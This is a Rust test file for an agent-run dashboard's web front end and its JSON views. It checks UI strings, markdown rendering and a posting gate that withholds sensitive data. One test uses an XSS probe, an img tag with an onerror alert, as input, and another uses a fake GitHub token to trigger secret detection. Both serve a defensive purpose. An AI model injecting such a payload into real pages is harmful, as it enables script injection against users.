19457 let mut v_empty: serde_json::Value =
19458 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19459 v_empty["judgements"] = serde_json::json!([
19460 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19461 ]);
19462 v_empty["deliberation"] = serde_json::json!([]);
19463 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19464
19465 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19466 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19467 let j_empty = res_empty.json();
19468 let judging_empty = j_empty["sections"]
19469 .as_array()
19470 .unwrap()
19471 .iter()
19472 .find(|s| s["kind"] == "judging")
19473 .expect("judging section exists");
19474 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19475 }
19476
19477 #[tokio::test]
19478 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19479 let f = Fixture::start().await;
19480
19481 let html = f.get("/").await;
19482 let css = f.get("/app.css").await;
19483 let js = f.get("/app.js").await;
19484
19485 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19486 assert!(
19487 html.headers
19488 .contains("content-type: text/html; charset=utf-8")
19489 );
19490 assert!(css.headers.contains("content-type: text/css"));
19491 assert!(js.headers.contains("content-type: text/javascript"));
19492 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19493 }
19494
19495 #[test]
19496 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19497 let body = |name: &str| {
19498 let at = APP_JS
19499 .find(name)
19500 .unwrap_or_else(|| panic!("{name} missing"));
19501 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19502 };
19503 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19504 let note = body("function landRoundNote");
19505 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19506 assert!(note.contains("Land round ${round}"));
19507 let land = body("function renderLand");
19508 let note_at = land
19509 .find("landRoundNote(pr)")
19510 .expect("renderLand uses the note");
19511 assert!(
19512 note_at
19513 < land
19514 .find("roundRail(pr)")
19515 .expect("renderLand uses the rail")
19516 );
19517 }
19518
19519 #[test]
19520 fn the_runs_page_redesign_keeps_its_guards() {
19521 let body = |name: &str| {
19522 let at = APP_JS
19523 .find(name)
19524 .unwrap_or_else(|| panic!("{name} missing"));
19525 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19526 };
19527 let land = body("function renderLand");
19529 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19530 assert!(
19531 !land.contains("box.append("),
19532 "renderLand must use append()"
19533 );
19534 assert!(land.contains("append(box, ["));
19535 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19537 assert!(
19538 body("function applyRoute")
19539 .contains("route.name !== state.route.name || route.id !== state.route.id")
19540 );
19541 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19543 assert!(!INDEX_HTML.contains("advise-converge"));
19544 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19545 assert!(APP_JS.contains("provisional"));
19546 for id in [
19547 "run-tab-overview",
19548 "run-tab-timeline",
19549 "run-tab-report",
19550 "run-report",
19551 "runs-scope",
19552 ] {
19553 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19554 }
19555 assert!(!INDEX_HTML.contains("runs-tree"));
19556 assert!(!INDEX_HTML.contains("run-raw-panel"));
19557 assert!(APP_JS.contains("resume"));
19559 assert!(APP_JS.contains("unreadable"));
19561 }
19562
19563 #[test]
19564 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19565 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19566 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19567 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19568 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19569 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19570 assert!(APP_JS.contains("unreadable` : null"));
19572 }
19573
19574 #[test]
19575 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19576 let mut state = RunState::new(
19577 "/repo".into(),
19578 "main".into(),
19579 "abc".into(),
19580 "task".into(),
19581 crate::config::Config::default(),
19582 );
19583 state.status = RunStatus::Blocked;
19584 state.gate_ran = true;
19585 state.gate.push(crate::run::CommandOutcome {
19586 command: "cargo make check".into(),
19587 code: Some(1),
19588 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19589 duration_ms: 0,
19590 resource_blocked: false,
19591 });
19592 let view = RunDetailView::of(
19593 state,
19594 false,
19595 crate::run::Liveness::Unknown,
19596 None,
19597 None,
19598 None,
19599 );
19600 let value = serde_json::to_value(view).unwrap();
19601 assert_eq!(
19602 value["stop_reason"],
19603 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19604 );
19605 }
19606
19607 #[test]
19608 fn the_run_detail_payload_says_whether_the_run_is_done() {
19609 for (status, done) in [
19611 (RunStatus::Superseded, true),
19612 (RunStatus::Blocked, true),
19613 (RunStatus::Landing, false),
19614 ] {
19615 let mut state = RunState::new(
19616 std::path::PathBuf::from("/repo"),
19617 "main".to_owned(),
19618 "abc".to_owned(),
19619 "x".to_owned(),
19620 crate::config::Config::default(),
19621 );
19622 state.status = status;
19623 let v = serde_json::to_value(RunDetailView::of(
19624 state,
19625 false,
19626 crate::run::Liveness::Unknown,
19627 None,
19628 None,
19629 None,
19630 ))
19631 .unwrap();
19632 assert_eq!(v["done"], done, "{status:?}");
19633 }
19634 }
19635
19636 fn has_strong(nodes: &[md::Node]) -> bool {
19638 serde_json::to_string(nodes).unwrap().contains("strong")
19639 }
19640
19641 #[test]
19642 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19643 let mut state = RunState::new(
19644 std::path::PathBuf::from("/repo"),
19645 "main".to_owned(),
19646 "abc".to_owned(),
19647 "x".to_owned(),
19648 crate::config::Config::default(),
19649 );
19650 let proposal = |approach: &str| {
19651 serde_json::json!({
19652 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19653 })
19654 };
19655 state.advice = Some(
19656 serde_json::from_value(serde_json::json!({
19657 "records": [
19658 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19659 "proposal": proposal("do **this**")},
19660 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19661 ],
19662 "synthesis": "- one\n- **two**\n\n`code`",
19663 }))
19664 .unwrap(),
19665 );
19666 state.candidates = serde_json::from_value(serde_json::json!([
19667 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19668 "summary": "did **it**"},
19669 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19670 ]))
19671 .unwrap();
19672 state.reviews = serde_json::from_value(serde_json::json!([{
19675 "round": 1, "head": "h",
19676 "reviews": [{
19677 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19678 "findings": [
19679 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19680 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19681 ],
19682 }],
19683 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19684 "fix": {"agent": "a", "notes": "fixed **it**",
19685 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19686 }, {"round": 2, "head": "h2", "reviews": []}]))
19687 .unwrap();
19688
19689 let v = serde_json::to_value(RunDetailView::of(
19690 state,
19691 false,
19692 crate::run::Liveness::Unknown,
19693 None,
19694 None,
19695 None,
19696 ))
19697 .unwrap();
19698
19699 let strong = |p: &str| {
19700 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19701 assert!(n.to_string().contains("strong"), "{p}: {n}");
19702 };
19703 strong("/advice_md/synthesis");
19704 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19705 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19706 strong("/advice_md/approaches/0");
19707 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19708 strong("/candidate_summaries_md/0");
19709 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19710 strong("/reviews_md/0/reviewers/0/summary");
19711 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19712 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19713 assert!(f[1].to_string().contains("strong"));
19714 strong("/reviews_md/0/reconsideration/0");
19715 strong("/reviews_md/0/fix/notes");
19716 strong("/reviews_md/0/fix/rejected/0");
19717 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19718 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19719 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19721 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19722 }
19723
19724 #[test]
19725 fn a_run_without_advice_has_no_advice_md() {
19726 let state = RunState::new(
19727 std::path::PathBuf::from("/repo"),
19728 "main".to_owned(),
19729 "abc".to_owned(),
19730 "x".to_owned(),
19731 crate::config::Config::default(),
19732 );
19733 let p = run_prose_md(&state);
19734 assert!(p.advice_md.is_none());
19735 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19736 }
19737
19738 #[test]
19739 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19740 let store = ask::Questions::at(PathBuf::from("unused"));
19741 let gt = crate::github_text::Withheld {
19742 title: false,
19743 body: true,
19744 categories: vec!["sensitive-data".into()],
19745 };
19746 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19747 let (detail, comparison) =
19748 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19749 let mut q = Question::new(
19750 "r".into(),
19751 "github-text".into(),
19752 "posting-gate".into(),
19753 "s".into(),
19754 detail,
19755 Vec::new(),
19756 );
19757 assert!(
19758 QuestionView::of(q.clone(), &store, None)
19759 .posting_view
19760 .is_none()
19761 );
19762 q.posting_comparison = Some(comparison);
19763 let view = QuestionView::of(q.clone(), &store, None);
19764 let field = &view.posting_view.unwrap().fields[0];
19765 assert_eq!(
19766 field
19767 .original
19768 .iter()
19769 .map(|f| f.text.as_str())
19770 .collect::<String>(),
19771 body
19772 );
19773 assert!(field.original[0].text.starts_with("<img"));
19774 let original_question: Question =
19775 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19776 assert_eq!(original_question, q);
19777 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19778 .original
19779 .start = 1;
19780 assert!(
19781 QuestionView::of(q.clone(), &store, None)
19782 .posting_view
19783 .is_none()
19784 );
19785 q.posting_comparison = original_question.posting_comparison;
19786 q.detail.push_str("extra context");
19787 assert!(
19788 QuestionView::of(q.clone(), &store, None)
19789 .posting_view
19790 .is_some()
19791 );
19792 q.detail.insert(0, 'x');
19793 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19794 }
19795
19796 #[test]
19797 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19798 let store = ask::Questions::at(PathBuf::from("unused"));
19799 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19800 let gt = crate::github_text::Withheld::from_check(
19801 &crate::github_text::check("fix: x", body),
19802 "fix: x",
19803 body,
19804 )
19805 .unwrap();
19806 let (detail, comparison) =
19807 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19808 let mut q = Question::new(
19809 "r".into(),
19810 "github-text".into(),
19811 "posting-gate".into(),
19812 "s".into(),
19813 detail,
19814 Vec::new(),
19815 );
19816 q.posting_comparison = Some(comparison);
19817 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19818 let field = &value["posting_view"]["fields"][0];
19819 let group = &field["replacement_group"];
19820 let triggers = group["triggers"].as_array().unwrap();
19821 assert_eq!(triggers.len(), 2);
19822 assert_ne!(triggers[0], triggers[1]);
19823 for id in triggers {
19824 assert!(
19825 field["original"]
19826 .as_array()
19827 .unwrap()
19828 .iter()
19829 .any(|f| &f["pair"] == id)
19830 );
19831 assert!(
19832 !field["changed"]
19833 .as_array()
19834 .unwrap()
19835 .iter()
19836 .any(|f| &f["pair"] == id)
19837 );
19838 }
19839 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19840 group["id"].as_u64().unwrap() as usize;
19841 assert!(
19842 QuestionView::of(q, &store, None).posting_view.is_none(),
19843 "group and trigger IDs cannot collide"
19844 );
19845 }
19846
19847 #[test]
19848 fn a_question_view_carries_markdown_for_each_thread_turn() {
19849 let home = TempDir::new().unwrap();
19850 let store = ask::Questions::at(home.path().join("questions"));
19851 let mut q = Question::new(
19852 "run".to_owned(),
19853 "implement".to_owned(),
19854 "impl-A".to_owned(),
19855 "which?".to_owned(),
19856 String::new(),
19857 Vec::new(),
19858 );
19859 q.say("plain words").unwrap();
19860 q.reply("use **this**", Vec::new()).unwrap();
19861 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19862 let bodies = &v["thread_bodies_md"];
19863 assert_eq!(bodies.as_array().unwrap().len(), 2);
19864 assert!(!bodies[0].to_string().contains("strong"));
19865 assert!(bodies[1].to_string().contains("strong"));
19866 }
19867
19868 #[test]
19869 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19870 let home = TempDir::new().unwrap();
19871 let store = ask::Questions::at(home.path().join("questions"));
19872 let mut q = Question::new(
19873 "run".to_owned(),
19874 "conduct".to_owned(),
19875 "conduct".to_owned(),
19876 "which?".to_owned(),
19877 String::new(),
19878 Vec::new(),
19879 );
19880 q.say("plain words").unwrap();
19881 q.thread.push(ask::Turn {
19882 who: ask::Who::Agent,
19883 body: "Settled as `merge`".to_owned(),
19884 at: jiff::Timestamp::now(),
19885 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19886 });
19887 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19888 let notes = &v["thread_notes_md"];
19889 assert_eq!(notes.as_array().unwrap().len(), 2);
19890 assert!(notes[0].is_null());
19891 let text = notes[1].to_string();
19892 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19893 assert!(APP_JS.contains("ask-turn-note"));
19894 }
19895
19896 #[test]
19897 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19898 assert!(APP_JS.contains("function landView(run, raw) {"));
19902 assert!(
19903 APP_JS.contains(
19904 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19905 )
19906 );
19907 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19908 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19909 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19910 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19911 }
19912
19913 #[test]
19914 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19915 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19916 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19917 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19918 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19919 }
19920
19921 #[test]
19922 fn review_rounds_label_a_distinct_verified_head() {
19923 assert!(APP_JS.contains("round.verified_head"));
19924 assert!(APP_JS.contains("verified HEAD"));
19925 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19926 }
19927
19928 #[test]
19929 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19930 assert!(APP_JS.contains("blocked: { glyph:"));
19934 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19935
19936 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19940 assert!(
19941 APP_JS.contains(
19942 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19943 ),
19944 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19945 );
19946 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19950
19951 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19955 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19956 assert!(
19957 APP_JS.contains("location.hash = \"#/questions\";"),
19958 "a question node must jump to the Questions screen, not pretend to be a task"
19959 );
19960
19961 assert!(APP_JS.contains("Resolved questions"));
19964 assert!(APP_JS.contains("r.answersList.append("));
19965 assert!(APP_CSS.contains(".task-answers"));
19966 {
19967 let start = APP_JS
19968 .find("function updateTalkTaskRow")
19969 .expect("updateTalkTaskRow");
19970 let body = &APP_JS[start..];
19971 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19972 assert!(
19973 body.contains(
19974 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19975 ),
19976 "a chat-filed task row must link to the task page"
19977 );
19978 assert!(
19979 !body.contains("#/runs/") && !body.contains("#/queue/"),
19980 "the row must not branch to a run or the queue card"
19981 );
19982 assert!(APP_CSS.contains(".talk-task-link"));
19983 }
19984 }
19985
19986 #[test]
19987 fn a_task_notification_links_to_the_task_page() {
19988 let start = APP_JS
19990 .find("function noticeLink(")
19991 .expect("noticeLink exists");
19992 let body = &APP_JS[start..];
19993 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19994 assert!(
19995 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19996 "a task notice's link must target the task page"
19997 );
19998 assert!(
19999 !body.contains("#/queue/"),
20000 "regression: the task link must not go back to the Backlog route"
20001 );
20002 assert!(
20003 APP_JS.contains(
20004 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20005 ),
20006 "`#/tasks/<id>` must parse into the task route"
20007 );
20008
20009 assert!(
20011 APP_JS.contains(
20012 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20013 ),
20014 "`#/queue/<id>` must parse into a route carrying that id"
20015 );
20016
20017 assert!(APP_JS.contains("state.queueFocus = route.id;"));
20021 assert!(APP_JS.contains("function consumeQueueFocus()"));
20022 assert!(APP_JS.contains("jumpToTask(id)"));
20023 }
20024
20025 #[test]
20026 fn notifications_distinguish_actionable_questions_from_informational_notices() {
20027 let start = APP_JS
20028 .find("function noticeCoveredBy(")
20029 .expect("noticeCoveredBy exists");
20030 let body = &APP_JS[start..];
20031 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20032
20033 assert!(body.contains("Associated question ${short}"));
20035 assert!(!body.contains("el(\"a\""));
20036
20037 assert!(body.contains("(resolved)"));
20039 assert!(body.contains("(closed)"));
20040
20041 let start = APP_JS
20042 .find("function renderNotifications()")
20043 .expect("renderNotifications exists");
20044 let body = &APP_JS[start..];
20045 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20046
20047 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20049 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20050 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
20051 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20052 }
20053
20054 #[test]
20057 fn chat_rows_put_the_title_alone_on_the_first_line() {
20058 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
20059 assert!(APP_CSS.contains(
20060 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20061 ));
20062 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20063 assert!(APP_JS.contains("class: \"badge talk-unread\""));
20064 }
20065
20066 #[test]
20067 fn run_rows_put_the_title_alone_on_the_first_line() {
20068 assert!(
20069 APP_CSS.contains(
20070 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
20071 )
20072 );
20073 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20074 assert!(APP_JS.contains("class: \"card run-card\""));
20075 assert!(APP_JS.contains("class: \"repo run-id\""));
20076 }
20077
20078 #[test]
20082 fn wide_screens_show_list_and_preview_side_by_side() {
20083 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20085 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20086 assert!(APP_CSS.contains("main[data-split]"));
20087 assert!(APP_CSS.contains("body[data-split]"));
20088
20089 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
20091 assert!(
20092 APP_JS.contains(
20093 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20094 )
20095 );
20096 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20097 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20098 assert!(INDEX_HTML.contains("id=\"split-empty\""));
20099
20100 assert!(APP_JS.contains("function markSelected() {"));
20102 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20103 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20104 assert!(
20106 APP_CSS.contains(
20107 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20108 )
20109 );
20110
20111 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20113 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20114 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20115 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20116
20117 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20121 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20122 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20123 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20124
20125 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20127 }
20128
20129 #[test]
20130 fn panel_sandbox_carries_exactly_popups() {
20131 let needle = "sandbox: \"";
20132 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20133 assert_eq!(
20134 matches.len(),
20135 1,
20136 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20137 );
20138 let start = matches[0].0 + needle.len();
20139 let end = APP_JS[start..]
20140 .find('"')
20141 .expect("sandbox attribute value must be terminated by a closing quote");
20142 let val = &APP_JS[start..start + end];
20143 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20144 let expected: std::collections::BTreeSet<&str> =
20145 ["allow-popups", "allow-popups-to-escape-sandbox"]
20146 .into_iter()
20147 .collect();
20148 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20149 assert!(
20150 !tokens.contains("allow-scripts"),
20151 "allow-scripts must never be present in sandbox"
20152 );
20153 assert!(
20154 !tokens.contains("allow-same-origin"),
20155 "allow-same-origin must never be present in sandbox"
20156 );
20157 }
20158
20159 #[test]
20160 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20161 assert!(
20170 APP_JS.contains(
20171 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
20172 ),
20173 "the search-clearing branch must run before state.queueFocus is cleared, or the \
20174 recursive renderQueue() call has nothing left to jump to"
20175 );
20176 assert!(
20177 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20178 "state.queueFocus must be cleared only once the jump has landed, so a card that \
20179 arrives later still gets it"
20180 );
20181 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20182 assert!(APP_JS.contains("is not in the current Backlog."));
20183 assert!(APP_JS.contains("li.card[data-task-id=\""));
20184 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20185 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20186 assert!(APP_CSS.contains(".card-permalink"));
20187 assert!(APP_CSS.contains(".queue-focus-status"));
20188 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20189 }
20190
20191 #[test]
20192 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20193 assert!(
20201 APP_JS.contains(
20202 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20203 ),
20204 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20205 );
20206 }
20207
20208 #[test]
20209 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20210 assert!(
20211 APP_JS.contains("round.verified_head !== round.head"),
20212 "a round that verified an earlier commit must be visibly distinct from one that \
20213 verified the head reviewers are looking at now"
20214 );
20215 assert!(
20216 APP_JS.contains("round.verified_at"),
20217 "when a check ran must be on the wire, not just which commit"
20218 );
20219 assert!(
20220 APP_JS.contains("resource_blocked"),
20221 "a command magi never got to run (shared build cache contention) must not render \
20222 the same as a command that ran and failed"
20223 );
20224 }
20225
20226 #[test]
20227 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20228 assert!(
20236 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20237 "every KPI tile built through statusTile() must route its click through \
20238 openRunsFiltered, the single place that sets the Runs filter"
20239 );
20240 for (label, status) in [
20241 ("Merged", "merged"),
20242 ("Ready", "ready"),
20243 ("Blocked", "blocked"),
20244 ("Stalled", "stalled"),
20245 ] {
20246 let call = format!("statusTile(\"{label}\", t.{status}, ");
20247 assert!(
20248 APP_JS.contains(&call),
20249 "expected the {label} KPI tile built via {call}..."
20250 );
20251 assert!(
20252 APP_JS.contains(&format!("status === \"{status}\"")),
20253 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20254 compare a run against, not one invented only for the stats tile"
20255 );
20256 }
20257 assert!(
20258 APP_JS.contains("function openRunsFiltered(status)"),
20259 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20260 );
20261 assert!(
20262 APP_JS.contains(
20263 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20264 ),
20265 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20266 );
20267 assert!(
20275 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
20276 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20277 hashchange event that may never fire"
20278 );
20279 }
20280
20281 #[test]
20282 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20283 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20289 assert!(
20290 APP_JS.contains(
20291 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
20292 ),
20293 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20294 guard for an incompatible tree section"
20295 );
20296 }
20297
20298 #[test]
20299 fn every_stats_queue_tile_names_a_real_queue_section() {
20300 assert!(
20306 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20307 "every queue tile built through sectionTile() must route its click through \
20308 openQueueSectionFocus"
20309 );
20310 for key in ["upnext", "running", "done", "held", "blocked"] {
20311 assert!(
20312 APP_JS.contains(&format!("{{ key: \"{key}\",")),
20313 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20314 );
20315 }
20316 for line in [
20320 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20321 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20322 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20323 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20324 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20325 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20326 ] {
20327 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20328 }
20329 }
20330
20331 #[test]
20332 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20333 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20340 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20341 assert!(APP_JS.contains("function revealQueueSection(details)"));
20342 assert!(
20343 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
20344 "renderQueue() must consume both focus channels on every pass"
20345 );
20346 assert!(
20347 APP_JS.contains(
20348 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
20349 ),
20350 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20351 the recursive renderQueue() call has nothing left to reveal"
20352 );
20353 assert!(
20354 APP_JS.contains(
20355 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
20356 ),
20357 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20358 );
20359 assert!(
20367 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
20368 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20369 hashchange event that may never fire"
20370 );
20371 }
20372
20373 #[tokio::test]
20374 async fn the_change_stream_announces_the_current_revisions_on_connect() {
20375 let f = Fixture::start().await;
20376
20377 let mut socket = tokio::net::TcpStream::connect(f.addr)
20378 .await
20379 .expect("connect");
20380 socket
20381 .write_all(
20382 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20383 )
20384 .await
20385 .expect("write request");
20386
